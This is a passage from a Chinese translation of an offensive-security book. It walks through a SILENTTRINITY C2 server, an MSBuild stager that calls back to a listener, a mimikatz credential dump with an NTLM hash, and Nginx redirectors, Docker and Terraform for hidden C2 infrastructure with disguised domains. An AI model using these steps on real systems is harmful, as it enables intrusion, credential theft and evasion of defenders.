该工具的服务器端需要 Python 3.7,因此在安装之前,请确保 Python 正常工作;然后继续下载并启动 SILENTTRINITY 团队服务器:

# Terminal 1
root@Lab:~/# git clone https://github.com/byt3bl33d3r/SILENTTRINITY
root@Lab:~/# cd SILENTTRINITY
root@Lab:ST/# python3.7 -m pip install setuptools
root@Lab:ST/# `python3.7 -m pip install -r requirements.txt`

# Launch the team server
root@Lab:ST/# `python3.7 teamserver.py 0.0.0.0` `strongPasswordCantGuess` `&`

SILENTTRINITY 不是作为本地独立程序运行,而是启动一个监听在 5000 端口的服务器,允许多个成员连接、定义监听器、生成有效载荷等,这在团队操作中非常有用。你需要在第一个终端中保持服务器运行,然后打开第二个终端连接到团队服务器,并在 443 端口配置监听器:

# Terminal 2

root@Lab:~/# python3.7 st.py wss://username:`strongPasswordCantGuess`**@192.168.1.29:5000**
[1] ST >>  **listeners**
[1] ST (listeners)>> **use https**

# Configure parameters
[1] ST (listeners)(https) >> **set Name customListener**
[1] ST (listeners)(https) >> **set CallBackUrls**
**https://www.customDomain.com/news-article-feed**

# Start listener
[1] ST (listeners)(https) >> **start**
[1] ST (listeners)(https) >> list
Running:
customListener >> https://192.168.1.29:443

一旦连接成功,接下来的逻辑步骤是生成一个有效载荷以在目标上执行。我们选择一个包含内联 C#代码的.NET 任务,通过一个名为 MSBuild 的.NET 工具,可以在运行时编译和执行:

[1] ST (listeners)(https) >> **stagers**

[1] ST (stagers) >> **use msbuild**
[1] ST (stagers) >> **generate customListener**
[+] Generated stager to ./stager.xml

如果我们仔细查看stager.xml文件,可以看到它嵌入了一个名为naga.exeSILENTTRINITY/core/teamserver/data/naga.exe)的可执行文件的 base64 编码版本,该文件连接到我们设置的监听器,然后下载一个包含 Boo-Lang DLL 和脚本的 ZIP 文件,用于启动环境。

一旦我们使用 MSBuild 在运行时编译并执行此有效载荷,就会在目标机器上运行完整的 Boo 环境,准备执行任何我们发送的恶意有效载荷:

# Start agent

PS C:\> **C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe stager.xml**

[*] [TS-vrFt3] Sending stage (569057 bytes) ->  192.168.1.30...
[*] [TS-vrFt3] New session 36e7f9e3-13e4-4fa1-9266-89d95612eebc connected! (192.168.1.30)
[1] ST (listeners)(https) >> **sessions**
[1] ST (sessions) >> **list**
Name           >> User         >> Address     >> Last Checkin
36e7f9e3-13... >> *wk_adm@PIANO>> 192.168.1.3 >> h 00 m 00 s 04

请注意,与其他两个框架不同,我们没有费心定制有效载荷以躲避 Windows Defender。它就这样工作……暂时!

我们可以交付当前的 69 个后期利用模块,涵盖从在内存中加载任意程序集(.NET 可执行文件)到常规的 Active Directory 侦察和凭证转储等功能:

[1] ST (sessions) >> **modules**
[1] ST (modules) >> **use boo/mimikatz**
[1] ST (modules)(boo/mimikatz) >> **run all**

[*] [TS-7fhpY] 36e7f9e3-13e4-4fa1-9266-89d95612eebc returned job result
(id: zpqY2hqD1l)
[+] Running in high integrity process
`--snip--`
    msv :
    [00000003] Primary
    * Username : wkadmin
 * Domain   : PIANO.LOCAL
    * NTLM     : adefd76971f37458b6c3b061f30e3c42
`--snip--`

该项目仍然非常年轻,但显示出巨大的潜力。如果你是完全的新手,可能会因为缺乏文档和明确的错误处理而遇到困难。不过,这个工具仍在积极开发中,因此这也不足为奇。我建议你先探索一些更易上手的项目,比如 Empire,然后再使用和贡献给 SILENTTRINITY。为什么不呢?这无疑是一个非常棒的项目!

近几年涌现出了许多值得关注的框架,比如 Covenant、Faction C2 等等。我强烈建议你启动几个虚拟机,进行尝试,并选择一个你最舒服的框架。

资源

第三章:构建基础设施

本章中,我们将设置后端攻击基础设施以及必要的工具,以忠实地重现和自动化几乎所有手动设置中的痛点。我们将使用两个框架:针对 Linux 目标的 Metasploit 和针对 Windows 主机的 SILENTTRINITY。

传统方法

旧的攻击基础设施搭建方式是将每个框架安装在一台机器上,并在它们前面放置一个 Web 服务器,通过简单的模式匹配规则来接收和路由流量。如图 3-1 所示,指向 /secretPage 的请求将被转发到 C2 后端,而其他页面则返回看似无害的内容。

f03001.png

图 3-1:C2 后端示意图

Nginx Web 服务器是代理 Web 流量的流行选择,并且可以相对快速地进行调优。首先,我们使用经典的软件包管理器(此处为 apt)进行安装:

root@Lab:~/# apt install -y nginx
root@Lab:~/# vi /etc/nginx/conf.d/reverse.conf

然后,我们创建一个配置文件,描述我们的路由策略,如列表 3-1 所示。

#/etc/nginx/conf.d/reverse.conf

server {
  # basic web server configuration
  listen 80;

  # normal requests are served from /var/www/html
  root /var/www/html;
  index index.html;
  server_name `www.mydomain.com`;

  # return 404 if no file or directory match
  location / {
     try_files $uri $uri/ =404;
  }

  # /msf URL gets redirected to our backend C2 framework
  location /msf {
     proxy_pass https://192.168.1.29:8443;
     proxy_ssl_verify off;
     proxy_set_header Host $host;
     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  }
  # repeat previous block for other C2 backends
}

列表 3-1:带有 HTTP 重定向器的标准 Nginx 配置文件

前几个指令定义了包含普通查询所需网页的根目录。接下来,我们指示 Nginx 将我们希望重定向的 URL(从 /msf 开始)直接转发到我们的 C2 后端,这可以通过 proxy_pass 指令清晰看出。

然后,我们可以通过 EFF 的 Certbot 快速设置 Secure Shell (SSL) 证书,并拥有一个完全功能的带有 HTTPS 重定向的 Web 服务器:

root@Lab:~/# add-apt-repository ppa:certbot/certbot
root@Lab:~/# apt update && apt install python-certbot-nginx
root@Lab:~/# certbot --nginx -d `mydomain.com` **-d** `www.mydomain.com`

Congratulations! Your certificate and chain have been saved at...

这种方法完全没问题,唯一的问题是,调优 Nginx 或 Apache 服务器可能会变得乏味和繁琐,特别是当这台机器将面对目标时,它的波动性会显著增加。服务器总是距离一个 IP 封禁就可能被重启或甚至终止。

配置 C2 后端也不轻松。没有托管提供商会给你一个预装所有依赖项的 Kali 发行版。这完全得靠你自己,最好确保 Metasploit 的 Ruby 版本准确无误;否则,它会不断报错,让你开始怀疑自己的理智。几乎任何依赖特定高级功能的应用程序都存在类似问题。

容器与虚拟化

解决方案是将所有应用程序及其所有依赖项打包好,并确保安装和调优到正确的版本。当你启动一台新机器时,不需要再安装任何东西。你只需下载整个包并作为一个整体运行。这基本上就是容器技术的核心,它席卷了整个行业,并改变了软件的管理和运行方式。由于稍后我们会使用一些容器,所以在准备我们的小环境时,不妨花些时间解析容器的内部结构。

容器世界中有许多参与者,他们在不同的抽象层次上工作或提供不同的隔离特性,包括 containerd、runC、LXC、rkt、OpenVZ 和 Kata Containers。我将使用旗舰产品 Docker,因为我们稍后会在本书中遇到它。

为了简化容器化的概念,大多数专家将其比作虚拟化:“容器是轻量级虚拟机,只是它们共享宿主机的内核”,这句话通常可以在图 3-2 中的熟悉图像下看到。

f03002.png

图 3-2:容器的过度简化图示

这句话对大多数只是想尽快部署应用的程序员来说可能足够了,但黑客需要更多,渴望更多细节。我们有责任了解足够的技术知识,以便能在必要时突破其规则。将虚拟化与容器化进行比较,就像将飞机与公交车进行比较。是的,我们都同意它们的目的都是运输人员,但它们的物流方式不同。甚至,涉及的物理原理也不同。

虚拟化 在现有操作系统之上创建一个完全功能的操作系统。它会按照自己的启动顺序进行启动,并加载文件系统、调度程序、内核结构等所有内容。来宾系统认为它在真实硬件上运行,但实际上,每一个系统调用背后,虚拟化服务(例如 VirtualBox)会将所有低级操作(如读取文件或触发中断)转换成宿主机的语言,反之亦然。这就是为什么你可以在 Windows 机器上运行 Linux 客户机的原因。

容器化 是一种不同的范式,其中系统资源被隔离并通过 Linux 内核的三个强大特性:命名空间、联合文件系统和 cgroups,巧妙地保护起来。

命名空间

命名空间 是可以分配给 Linux 资源(如进程、网络、用户、挂载的文件系统等)的标签。默认情况下,给定系统中的所有资源共享相同的默认命名空间,因此任何普通的 Linux 用户都可以列出所有进程、查看整个文件系统、列出所有用户等等。

然而,当我们启动一个容器时,容器环境创建的所有新资源——进程、网络接口、文件系统等等——都会被分配一个不同的标签。它们会被容器化在自己的命名空间中,忽略该命名空间外部资源的存在。

这一概念的完美示例是 Linux 如何组织其进程。在启动时,Linux 启动 systemd 进程,该进程被分配进程 ID(PID)号 1。随后,这个进程会启动后续的服务和守护进程,如 NetworkManager、crond 和 sshd,它们会依次被分配递增的 PID 号,如下所示:

root@Lab:~/# pstree -p
systemd(1)─┬─accounts-daemon(777)─┬─{gdbus}(841)
           │                      └─{gmain}(826)
           ├─acpid(800)
           ├─agetty(1121)

所有进程都链接到由 systemd 领导的同一树状结构中,所有进程都属于同一个命名空间。因此,它们可以相互查看和交互——前提是它们有权限这么做。

当 Docker(或更准确地说是 runC,负责启动容器的低级组件)启动一个新容器时,它首先在默认命名空间中执行自己(在 图 3-3 中是 PID 5),然后在新命名空间中启动子进程。第一个子进程在这个新命名空间中获得本地 PID 1,同时在默认命名空间中有一个不同的 PID(比如 6,如 图 3-3 所示)。

f03003.png

图 3-3:包含两个进程的新命名空间下的 Linux 进程树

新命名空间中的进程对外部环境发生的事情一无所知,但默认命名空间中的旧进程仍然可以完全看到整个进程树。这就是为什么在黑客攻击容器化环境时,主要挑战是打破这种命名空间隔离。如果我们能以某种方式在默认命名空间中运行一个进程,我们就能有效地监听主机上的所有容器。

容器内的每个资源继续与内核交互,而不经过任何中介。容器化的进程仅限于使用相同标签的资源。使用容器时,我们处于一个扁平但分隔的系统中,而虚拟化则像一组嵌套的俄罗斯套娃。

Metasploit 容器

让我们通过启动一个 Metasploit 容器来进行一个实际的例子。幸运的是,一个名为 phocean 的黑客已经创建了一个现成的镜像,我们可以在这个镜像上进行练习,地址在 github.com/phocean/dockerfile-msf/。当然,我们首先需要安装 Docker:

root@Lab:~/# curl -fsSL https://download.docker.com/linux/ubuntu/gpg   `| apt-key add -`

root@Lab:~/# add-apt-repository \
   **"deb [arch=amd64] https://download.docker.com/linux/ubuntu \**
   **$(lsb_release -cs) \**
   **stable"**

root@Lab:~/# apt update
root@Lab:~/# apt install -y docker-ce

然后我们下载 Docker 包或镜像,其中包含已经编译好并准备好的 Metasploit 文件、二进制文件和依赖项,可以通过 docker pull 命令来完成:

root@Lab:~/# docker pull phocean/msf
root@Lab:~/# docker run --rm -it phocean/msf
* Starting PostgreSQL 10 database server
[ OK ]
root@46459ecdc0c4:/opt/metasploit-framework#

docker run 命令将在新的命名空间中启动该容器的二进制文件。--rm 选项在容器终止时删除容器以清理资源。当测试多个镜像时,这个选项非常有用。-it 双重选项分配一个伪终端并链接到容器的 stdin 设备,以模拟交互式 Shell。

然后我们可以使用 msfconsole 命令启动 Metasploit:

root@46459ecdc0c4:/opt/metasploit-framework# ./msfconsole

       =[ metasploit v5.0.54-dev                          ]
+ -- --=[ 1931 exploits - 1078 auxiliary - 332 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > **exit**

与从零开始安装 Metasploit 相比,你应该能够理解这两个命令节省了多少精力和时间。

当然,你可能会想,“在这个新的隔离环境中,我们如何从远程的 Nginx web 服务器访问监听器?”这是一个很好的问题。

启动容器时,Docker 会自动创建一对虚拟以太网(Linux 中为 veth)。可以将这些设备看作是物理电缆两端的两个连接器。一端被分配到新的命名空间,在该命名空间中,容器可以用来发送和接收网络数据包。这个 veth 通常在容器内被命名为熟悉的 eth0。另一端被分配到默认命名空间,并连接到一个网络交换机,该交换机负责与外部世界进行流量交换。Linux 将这个虚拟交换机称为 网络桥接

在机器上快速运行 ip addr 命令,可以看到默认的 docker0 桥接器,分配了 172.17.0.0/16 的 IP 范围,准备分配给新的容器:

root@Lab:~/# ip addr
3: **docker0**: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 state group default
link/ether 03:12:27:8f:b9:42 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
`--snip--`

每个容器都会从 docker0 桥接 IP 范围中获取一个专用的 veth 对,进而获得 IP 地址。

回到我们最初的问题,将流量从外部世界路由到容器,只需将流量转发到 Docker 网络桥接器,它会自动将流量送到正确的 veth 对。我们无需修改 iptables,只需调用 Docker 创建一个防火墙规则来实现这一点。在以下命令中,主机上的端口 8400 到 8500 将映射到容器中的端口 8400 到 8500:

root@Lab:~/# sudo docker run --rm \
**-it -p 8400-8500:8400-8500 \**
**-v ~/.msf4:/root/.msf4 \**
**-v /tmp/msf:/tmp/data \**
**phocean/msf**

现在,我们可以通过将数据包发送到主机的 IP 地址和相同端口范围,访问容器内监听任何端口(从 8400 到 8500)的处理程序。

在前一个命令中,我们还将主机上的目录 ~/.msf4/tmp/msf 映射到容器中的目录 /root/.msf4/tmp/data,这是一种在多次运行同一 Metasploit 容器时保留数据的实用技巧。

联合文件系统

这为我们引出了容器化的下一个概念——联合文件系统 (UFS),它通过将多个文件系统中的文件合并,呈现一个统一且一致的文件系统布局。让我们通过一个实际例子来探索它:我们将为 SILENTTRINITY 构建一个 Docker 镜像。

Docker 镜像在 Dockerfile 中定义。这是一个文本文件,其中包含构建镜像的指令,定义了要下载哪些文件,创建哪些环境变量,等等。这些命令非常直观,正如你在清单 3-2 中看到的那样。

# file: ~/SILENTTRINITY/Dockerfile
# The base Docker image containing binaries to run Python 3.7
FROM python:stretch-slim-3.7

# We install the git, make, and gcc tools
RUN apt-get update && apt-get install -y git make gcc

# We download SILENTTRINITY and change directories
RUN git clone https://github.com/byt3bl33d3r/SILENTTRINITY/ /root/st/
WORKDIR /root/st/

# We install the Python requirements
RUN python3 -m pip install -r requirements.txt

# We inform future Docker users that they need to bind port 5000
EXPOSE 5000

# ENTRYPOINT is the first command the container runs when it starts
ENTRYPOINT ["python3", "teamserver.py", "0.0.0.0", "stringpassword"]

清单 3-2:启动 SILENTTRINITY 团队服务器的 Dockerfile

我们首先构建一个 Python 3.7 的基础镜像,它是一个已经准备好并可用的文件和依赖集合,存放在官方 Docker 仓库 Docker Hub 中。接着,我们安装一些常用工具,如 gitmakegcc,这些工具稍后我们将用来下载代码库并运行团队服务器。EXPOSE 指令纯粹是用于文档目的。要实际暴露某个端口,我们仍然需要在执行 docker run 时使用 -p 参数。

接下来,我们使用一个指令拉取基础镜像,填充我们提到的工具和文件,并将生成的镜像命名为 silent

 root@Lab:~/# docker build -t silent .
Step 1/7 : FROM python:3.7-slim-stretch
 ---> fad2b9f06d3b
Step 2/7 : RUN apt-get update && apt-get install -y git make gcc
 ---> Using cache
 ---> 94f5fc21a5c4
`--snip--`
Successfully built f5658cf8e13c
Successfully tagged silent:latest

每个指令都会生成一组新的文件,这些文件会被归在一起。这些文件夹通常存储在/var/lib/docker/overlay2/目录下,并以每个步骤生成的随机 ID 命名,类似于fad2b9f06d3b94f5fc21a5c4 等。当镜像构建时,每个文件夹中的文件会被合并到一个新的单一目录下,称为镜像层。较高层次的目录会覆盖较低层次的目录。例如,在构建过程中,第 3 步中更改的文件会覆盖第 1 步中创建的同一文件。

当我们运行这个镜像时,Docker 会将镜像层以只读且 chroot 的文件系统形式挂载到容器内。为了允许用户在运行时修改文件,Docker 会在其上方进一步添加一个可写层,称为容器层upperdir,如图 3-4 所示。

f03004.png

图 3-4:Docker 镜像的可写层。来源:dockr.ly/39ToIeq

这就是赋予容器不可变性的原因。即使你在运行时覆盖了整个/bin目录,实际上你只会修改位于最上层的临时可写层,它掩盖了原始的/bin文件夹。当容器被删除时(记得--rm选项),可写层会被丢弃。构建镜像时准备的底层文件和文件夹将保持不变。

我们可以使用-d开关在后台启动新构建的镜像:

root@Lab:~/# docker run -d \
**-v /opt/st:/root/st/data \**
**-p5000:5000 \**
**silent**

3adf0cfdaf374f9c049d40a0eb3401629da05abc48c

# Connect to the team server running on the container
root@Lab:~st/# python3.7 st.py \wss://`username``:``strongPasswordCantGuess`**@192.168.1.29:5000**

[1] ST >>

完美。我们有了一个可用的 SILENTTRINITY Docker 镜像。为了能够从任何工作站下载它,我们需要将其推送到 Docker 仓库。为此,我们在 hub.docker.com 上创建一个帐户,并创建我们的第一个公共仓库,命名为silent。按照 Docker Hub 的约定,我们使用docker tag将 Docker 镜像重命名为用户名/仓库名称,然后将其推送到远程注册表,如下所示:

root@Lab:~/# docker login
Username: **sparcflow**
Password:

Login Succeeded

root@Lab:~/# docker tag silent sparcflow/silent
root@Lab:~/# docker push sparcflow/silent

现在,我们的 SILENTTRINITY Docker 镜像距离在我们未来启动的任何 Linux 机器上运行只差一个 docker pull 命令。

Cgroups

容器的最后一个关键组件是控制组(cgroups),它增加了一些命名空间无法解决的约束,例如 CPU 限制、内存、网络优先级以及容器可用的设备。正如它们的名字所示,cgroups 提供了一种通过对给定资源的相同限制来对进程进行分组和限制的方法;例如,属于/system.slice/accounts-daemon.service cgroup 的进程只能使用 30% 的 CPU 和 20% 的总带宽,并且无法访问外部硬盘。

这是命令systemd-cgtop的输出,它跟踪系统中 cgroup 的使用情况:

root@Lab:~/# systemd-cgtop
Control Group                            Tasks   %CPU   Memory  Input/s
/                                          188    1.1     1.9G        -
/docker                                      2      -     2.2M        -
/docker/08d210aa5c63a81a761130fa6ec76f9      1      -   660.0K        -
/docker/24ef188842154f0b892506bfff5d6fa      1      -   472.0K        -

当我们谈论 Docker 中的特权模式时,我们会回到 cgroups 的话题,所以现在先不展开讨论。

那么总结一下:无论我们选择哪个云服务提供商,以及他们托管的是什么 Linux 发行版,只要支持 Docker,我们就可以通过几条命令启动完全配置好的 C2 后端。接下来将运行我们的 Metasploit 容器:

root@Lab:~/# docker run -dit \
**-p 9990-9999:9990-9999 \**
**-v $HOME/.msf4:/root/.msf4 \**
**-v /tmp/msf:/tmp/data phocean/msf**

这将运行 SILENTTRINITY 容器:

root@Lab:~/# docker run -d \
**-v /opt/st:/root/st/data \**
**-p5000-5050:5000-5050 \**
**sparcflow/silent**

在这些示例中,我们使用的是 Metasploit 和 SILENTTRINITY 的原版版本,但我们也可以轻松添加自定义的 Boo-Lang 有效负载、Metasploit 资源文件等。最棒的是什么?我们可以根据需要复制我们的 C2 后端,轻松维护不同的版本,随意替换等等。挺酷的,对吧?

最后一步是将 Nginx 服务器“docker 化”,它会根据 URL 路径将请求路由到 Metasploit 或 SILENTTRINITY。

幸运的是,在这种情况下,大部分繁重的工作已经由@staticfloat 完成,他通过github.com/staticfloat/docker-nginx-certbot使用 Let’s Encrypt 生成 SSL 证书,自动化了 Nginx 的设置。正如 Listing 3-3 所示,我们只需要对仓库中的 Dockerfile 做一些调整,以适应我们的需求,例如接受一个可变的域名和 C2 IP 来转发流量。

# file: ~/nginx/Dockerfile
# The base image with scripts to configure Nginx and Let's Encrypt
FROM staticfloat/nginx-certbot

# Copy a template Nginx configuration
COPY *.conf /etc/nginx/conf.d/

# Copy phony HTML web pages
COPY --chown=www-data:www-data html/* /var/www/html/

# Small script that replaces __DOMAIN__ with the ENV domain value, same for IP
COPY init.sh /scripts/

ENV DOMAIN=`"www.customdomain.com"`
ENV C2IP="192.168.1.29"
ENV CERTBOT_EMAIL="sparc.flow@protonmail.com"

CMD ["/bin/bash", "/scripts/init.sh"]

Listing 3-3:设置 Nginx 服务器并使用 Let’s Encrypt 证书的 Dockerfile

init.sh 脚本只是我们用来替换 Nginx 配置文件中字符串 "__DOMAIN__" 为环境变量$DOMAIN的几个sed命令,我们可以通过-e选项在运行时覆盖它。这意味着无论我们选择哪个域名,都可以轻松启动一个 Nginx 容器,它会自动注册正确的 TLS 证书。

Nginx 的配置文件几乎与 Listing 3-3 中的一样,所以我就不再重复讲解了。你可以查看构建这个镜像时涉及的所有文件,访问本书的 GitHub 仓库:www.nostarch.com/how-hack-ghost

启动一个完全功能的 Nginx 服务器,将流量重定向到我们的 C2 端点,现在只需一行命令:

root@Lab:~/# docker run -d \

-p80:80 -p443:443 \

**-e DOMAIN=**`"www.customdomain.com"` **\**

-e C2IP="192.168.1.29" \ -v /opt/letsencrypt:/etc/letsencrypt \ sparcflow/nginx

www..com的 DNS 记录显然应该已经指向服务器的公共 IP,才能使这个操作成功。如果 Metasploit 和 SILENTTRINITY 容器可以在同一主机上运行,那么 Nginx 容器应该单独运行。可以把它看作是一个技术引信:只要遇到问题,它是第一个着火的。举个例子,如果我们的 IP 或域名被标记,我们只需重新启动一个新的主机并运行docker run命令。二十秒钟后,我们就有了一个新的域名和新的 IP,流量仍然会路由到相同的后端。

IP 伪装

说到域名,我们来购买几个合法的域名,用来伪装我们的 IP。我通常喜欢购买两种类型的域名:一种用于工作站反向 shell,另一种用于机器。这个区分很重要。用户往往会访问看起来很正常的网站,因此可以购买一个看起来像是体育或烹饪博客的域名。像experienceyourfood.com这样的域名应该能起作用。

然而,让一台服务器主动连接这个域名会显得很奇怪,因此购买的第二种域名应该像linux-packets.org这样的,伪装成一个合法的软件包分发点,托管一些 Linux 二进制文件和源代码文件。毕竟,服务器主动连接互联网下载软件包是被接受的模式。我无法计算有多少个威胁情报分析师因为网络中深处的服务器执行了apt update,从一个未知的主机下载了数百个软件包,而不得不丢弃那些误报。我们可以成为那个误报!

我不会再详细讲解域名注册,因为我们的目标不是通过网络钓鱼攻击进入公司,因此我们将避免讨论关于域名历史、分类、通过 DomainKeys Identified Mail(DKIM)进行的域名认证等问题。这些内容在我的书籍《如何像传奇一样黑客攻击》中有详细探讨。

我们的基础设施现在几乎准备好了。我们还需要稍微调整我们的 C2 框架,准备好启动器,并启动监听器,但这些都将在后续的步骤中完成。

自动化服务器设置

我们需要自动化的最后一个痛苦的步骤是设置实际的云服务器。无论每个提供商如何虚假宣称,仍然需要经历繁琐的菜单和标签设置,才能拥有一个正常工作的基础设施:防火墙规则、硬盘、机器配置、SSH 密钥、密码等等。

这一步骤与云服务提供商本身紧密相关。像 AWS、微软 Azure、阿里巴巴和谷歌云平台这样的巨头通过大量强大的 API 完全支持自动化,而其他云服务提供商似乎对此漠不关心。幸运的是,这对我们来说可能不是一个大问题,因为我们通常管理的服务器只有三四台。我们可以轻松设置它们,或者从现有镜像克隆它们,只需三条docker run命令,就能拥有一个正常工作的 C2 基础设施。但如果我们能获取一张愿意与 AWS 共享的信用卡,我们也能自动化这最后一项繁琐的设置,从而涉及到任何现代技术环境中应该具备的基本要素之一:基础设施即代码。

基础设施即代码的核心思想是拥有一个完整的声明性描述,涵盖任何时刻应运行的组件,从机器的名称到其上安装的最后一个包。然后,工具会解析此描述文件,并纠正任何观察到的不一致之处,例如更新防火墙规则、改变 IP 地址、附加更多磁盘,或者其他需要的操作。如果资源消失,它将被恢复以匹配所需的状态。听起来像是魔法,对吧?

多种工具可以帮助您实现这一自动化水平(无论是在基础设施层面还是操作系统层面),但我们将使用的工具是 HashiCorp 的 Terraform。

Terraform是开源的,支持多个云提供商(可以在registry.terraform.io的文档中查看)。这使得它成为您选择接受 Zcash 的冷门云提供商时的最佳选择。本章的其余部分将专注于 AWS,因此您可以轻松地复制代码并学习如何使用 Terraform。

我想强调的是,开始时这一步是完全可选的。自动化设置两到三台服务器可能所花费的努力比它节省的时间还要多,因为我们已经拥有如此出色的容器设置,但自动化过程帮助我们探索当前的 DevOps 方法,以便在进入类似的环境时更好地理解我们需要关注什么。

Terraform 与所有 Golang 工具一样,是一个静态编译的二进制文件,因此我们不需要担心复杂的依赖关系。我们通过 SSH 连接到我们的跳板服务器,并立即下载该工具,如下所示:

root@Bouncer:~/# wget\
**https://releases.hashicorp.com/terraform/0.12.12/terraform_0.12.12_linux_amd64.zip**

root@Bouncer:~/# unzip terraform_0.12.12_linux_amd64.zip
root@Bouncer:~/# chmod +x terraform

Terraform 将使用我们提供的有效凭证与 AWS 云进行交互。前往 AWS IAM(身份与访问管理)——用户管理服务——创建一个程序化账户,并授予其对所有 EC2 操作的完全访问权限。EC2是 AWS 提供的管理机器、网络、负载均衡器等服务。若这是您第一次接触 AWS,您可以参考serverless-stack.com/chapters/上的逐步教程来创建 IAM 账户。

在 IAM 用户创建面板中,给予您新创建的用户程序化访问权限,如图 3-5 所示。

f03005.png

图 3-5:创建一个名为terraform的用户,并授予其访问 AWS API 的权限

通过附加 AmazonEC2FullAccess 策略(如图 3-6 所示),允许用户对 EC2 拥有完全控制权,以便管理机器。

f03006.png

图 3-6:将 AmazonEC2FullAccess 策略附加到terraform用户

将凭证下载为.csv文件。记下访问密钥 ID 和秘密访问密钥,如图 3-7 所示。接下来我们需要用到这些。

f03007.png

图 3-7:查询 AWS API 的 API 凭证

一旦获得了 AWS 访问密钥和秘密访问密钥,下载 AWS 命令行工具并保存您的凭证:

root@Bouncer:~/# apt install awscli

root@Bouncer:~/# aws configure
AWS Access Key ID [None]: **AKIA44ESW0EAASQDF5A0**
AWS Secret Access Key [None]: **DEqg5dDxDA4uSQ6xXdhvu7Tzi53**...
Default region name [None]: **eu-west-1**

然后我们设置一个文件夹来存放基础设施的配置:

root@Bouncer:~/# mkdir infra && cd infra

接下来,我们创建两个文件:provider.tfmain.tf。在前者中,我们初始化 AWS 连接器,加载凭证,并为我们打算创建的资源(例如eu-west-1(爱尔兰))分配默认区域,如下所示:

# provider.tf
provider "aws" {
  region  = "eu-west-1"
  version = "~> 2.28"
}

main.tf中,我们将放置大部分架构的定义。Terraform 中的一个基本结构是资源——它描述了云服务提供商服务的离散单元,例如服务器、SSH 密钥、防火墙规则等。粒度的级别取决于云服务,并且可能迅速发展到令人难以理解的复杂程度,但这就是灵活性的代价。

要请求 Terraform 启动一个服务器,我们只需定义aws_instance资源,如下所示:

# main.tf
resource "aws_instance" "basic_ec2" {
  ami           = "ami-0039c41a10b230acb"
  instance_type = "t2.micro"
}

我们的basic_ec2资源是一个服务器,将启动由ami-0039c41a10b230acb标识的 Amazon 机器镜像(AMI),这恰好是一个 Ubuntu 18.04 镜像。你可以在cloud-images.ubuntu.com/locator/ec2/查看所有准备好的 Ubuntu 镜像。该服务器(或实例)类型为t2.micro,为其提供 1GB 内存和一个 vCPU。

我们保存main.tf并初始化 Terraform,以便它可以下载 AWS 提供程序:

root@Bounce:~/infra# terraform init
Initializing the backend...
Initializing provider plugins...
- Downloading plugin for provider "aws"

Terraform has been successfully initialized!

接下来,我们执行terraform fmt命令来格式化main.tf,然后执行plan指令来生成即将发生的基础设施变更列表,如下所示。你可以看到我们定义的属性已经安排好,服务器将会启动。相当酷。

root@Bounce:~/infra# terraform fmt && terraform plan
Terraform will perform the following actions:

  # aws_instance.basic_ec2 will be created
  + resource "aws_instance" "basic_ec2" {
      + ami                          = "ami-0039c41a10b230acb"
      + arn                          = (known after apply)
      + associate_public_ip_address  = (known after apply)
      + instance_type                = "t2.micro"
`--snip--`

Plan: 1 to add, 0 to change, 0 to destroy.

一旦我们验证了这些属性,就会调用terraform apply来在 AWS 上部署服务器。此操作还会在本地创建一个状态文件,描述我们刚刚创建的当前资源——一个服务器。

如果我们手动在 AWS 上终止服务器,并重新启动terraform apply,它将检测到本地状态文件和当前 EC2 实例状态之间的差异。它将通过重新创建服务器来解决这种差异。如果我们想启动另外九个相同配置的服务器,我们将count属性设置为10,然后再次运行apply

尝试在 AWS(或任何云提供商)上手动启动和管理 10 个或 20 个服务器,你很快就会让头发变绿,脸涂白,开始在纽约市的街头跳舞。而我们其他使用 Terraform 的人,只需更新一个数字,如清单 3-4 所示,接着继续正常生活。

# main.tf launching 10 EC2 servers
resource "aws_instance" "basic_ec2" {
  ami           = "ami-0039c41a10b230acb"
  count         = 10
  instance_type = "t2.micro"
}

清单 3-4:使用 Terraform 创建 10 个 EC2 实例的最小代码

调整服务器

到目前为止,我们的服务器相当基础。让我们通过设置以下属性来对其进行优化:

  • 一个 SSH 密钥,以便我们可以远程管理它,这对应于 Terraform 资源aws_key_pair

  • 一组防火墙规则——在 AWS 术语中称为安全组——用于控制哪些服务器可以相互通信以及如何通信。这是通过 Terraform 资源aws_security_group来定义的。安全组需要附加到虚拟私有云(VPC),这是一种虚拟化的网络。我们只使用 AWS 创建的默认 VPC。

  • 为每台服务器分配一个公共 IP。

列表 3-5 显示了设置了这些属性的main.tf

# main.tf – compatible with Terraform 0.12 only

# We copy-paste our SSH public key
1 resource "aws_key_pair" "ssh_key" {
  key_name   = "mykey"
  public_key = "ssh-rsa AAAAB3NzaC1yc2EAAA..."
}

# Empty resource, since the default AWS VPC (network) already exists
resource "aws_default_vpc" "default" {
}

# Firewall rule to allow SSH from our bouncing server IP only
# All outgoing traffic is allowed
2 resource "aws_security_group" "SSHAdmin" {
  name        = "SSHAdmin"
  description = "SSH traffic"
  vpc_id      = aws_default_vpc.default.id
  ingress {
    from_port   = 0
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["123.123.123.123/32"]
  }
  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

# We link the SSH key and security group to our basic_ec2 server

resource "aws_instance" "basic_ec2" {
  ami           = "ami-0039c41a10b230acb"
  instance_type = "t2.micro"

  vpc_security_group_ids     = aws_security_group.SSHAdmin.id
3 key_name                   = aws.ssh_key.id
  associate_public_ip_address= "true"
  root_block_device {
    volume_size = "25"
  }
}

# We print the server's public IP
output "public_ip " {
  value = aws_instance.basic_ec2.public_ip
}

列表 3-5:向main.tf添加一些属性

如前所述,aws_key_pair在 AWS 上注册一个 SSH 密钥,首次启动时会注入到服务器中。Terraform 上的每个资源稍后可以通过其 ID 变量进行引用,该变量在运行时填充——在本例中为aws.ssh_key.id。这些特殊变量的结构始终相同:resourceType.resourceName.internalVariable

aws_security_group没有新颖之处,除了可能提到的默认 VPC(AWS 创建的默认虚拟网络段,类似于路由器接口)。防火墙规则只允许来自我们的跳板服务器的 SSH 流量。

我们再次运行plan命令,以确保所有属性和资源与预期结果匹配,如列表 3-6 所示。

root@Bounce:~/infra# terraform fmt && terraform plan
Terraform will perform the following actions:

  # aws_instance.basic_ec2 will be created
  + resource "aws_key_pair" "ssh_key2" {
